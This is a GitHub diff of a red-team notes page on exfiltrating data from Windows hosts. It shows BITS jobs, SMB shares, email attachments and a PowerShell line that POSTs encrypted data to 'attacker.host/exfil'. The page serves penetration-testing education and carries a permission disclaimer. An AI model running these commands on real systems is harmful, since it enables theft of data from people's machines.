You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: windows-1/windows-redteam/data-exfiltration.md
+16-13Lines changed: 16 additions & 13 deletions
Original file line number
Diff line number
Diff line change
@@ -10,7 +10,7 @@ Always ensure you have **explicit** permission to access any computer system **b
10
10
Not much here yet...please feel free to contribute at [my GitHub page](https://github.com/zweilosec/Infosec-Notes).
11
11
{% endhint %}
12
12
13
-
###BITS Jobs
13
+
##Exfiltrate Data Using BITS Jobs
14
14
15
15
{% tabs %}
16
16
{% tab title="PowerShell" %}
@@ -59,11 +59,11 @@ bitsadmin /resume backdoor
59
59
{% endtab %}
60
60
{% endtabs %}
61
61
62
-
###Using FTP
62
+
##Exfiltrate Data Using FTP
63
63
64
64
See [this section](privilege-escalation.md#using-ftp) under Privilege Escalation
65
65
66
-
###Using SMB
66
+
##Exfiltrate Data Using SMB
67
67
68
68
{% tabs %}
69
69
{% tab title="PowerShell" %}
@@ -87,27 +87,30 @@ For more about the New-SmbShare PowerShell cmdlet:
87
87
88
88
See [this section](privilege-escalation.md#smb) under Privilege Escalation for more
89
89
90
-
###HTTP POST with PowerShell
90
+
##AES Encrypt and HTTP POST with PowerShell
91
91
92
-
If you set up a web server to accept post requests, you can either AES encrypt or base64 encode your target data and simply send an HTTP request to the server with the data.
92
+
If you set up a web server to accept post requests, you can either AES encrypt or base64 encode your target data and simply send an HTTP request to the server with the data. 
Invoke-WebRequest -Uri http://www.attacker.host/exfil -Method POST -Body $encryptedData
106
107
```
107
108
109
+
You can also skip the last command to send the web request, and simply print the encoded data to the screen and copy to your other terminal (may create a very long wall of text if the file is large!). 
110
+
108
111
To decode the data on the other side simply reverse the process:
@@ -123,9 +126,9 @@ One potential limitation I have noted is that it seems to strip out newline char
123
126
124
127
You can always convert your data or files to be exfiltrated to Base64 text and simply copy and paste this in your terminal (or use bash/PowerShell magic to convert your target data back). See [this section](privilege-escalation.md#covert-to-and-from-base64-with-powershell) under Privilege Escalation for more information on this technique.
125
128
126
-
###Send an email with PowerShell
129
+
## Send an email with PowerShell
127
130
128
-
####PowerShell `Send-MailMessage` cmdlet
131
+
### PowerShell `Send-MailMessage` cmdlet
129
132
130
133
```powershell
131
134
Send-MailMessage -From 'User01 <[email protected]>' -To 'User02 <[email protected]>', 'User03 <[email protected]>' -Subject 'Sending the Attachment' -Body "Forgot to send the attachment. Sending now." -Attachments .\data.csv -Priority High -DeliveryNotificationOption OnSuccess, OnFailure -SmtpServer 'smtp.fabrikam.com'
0 commit comments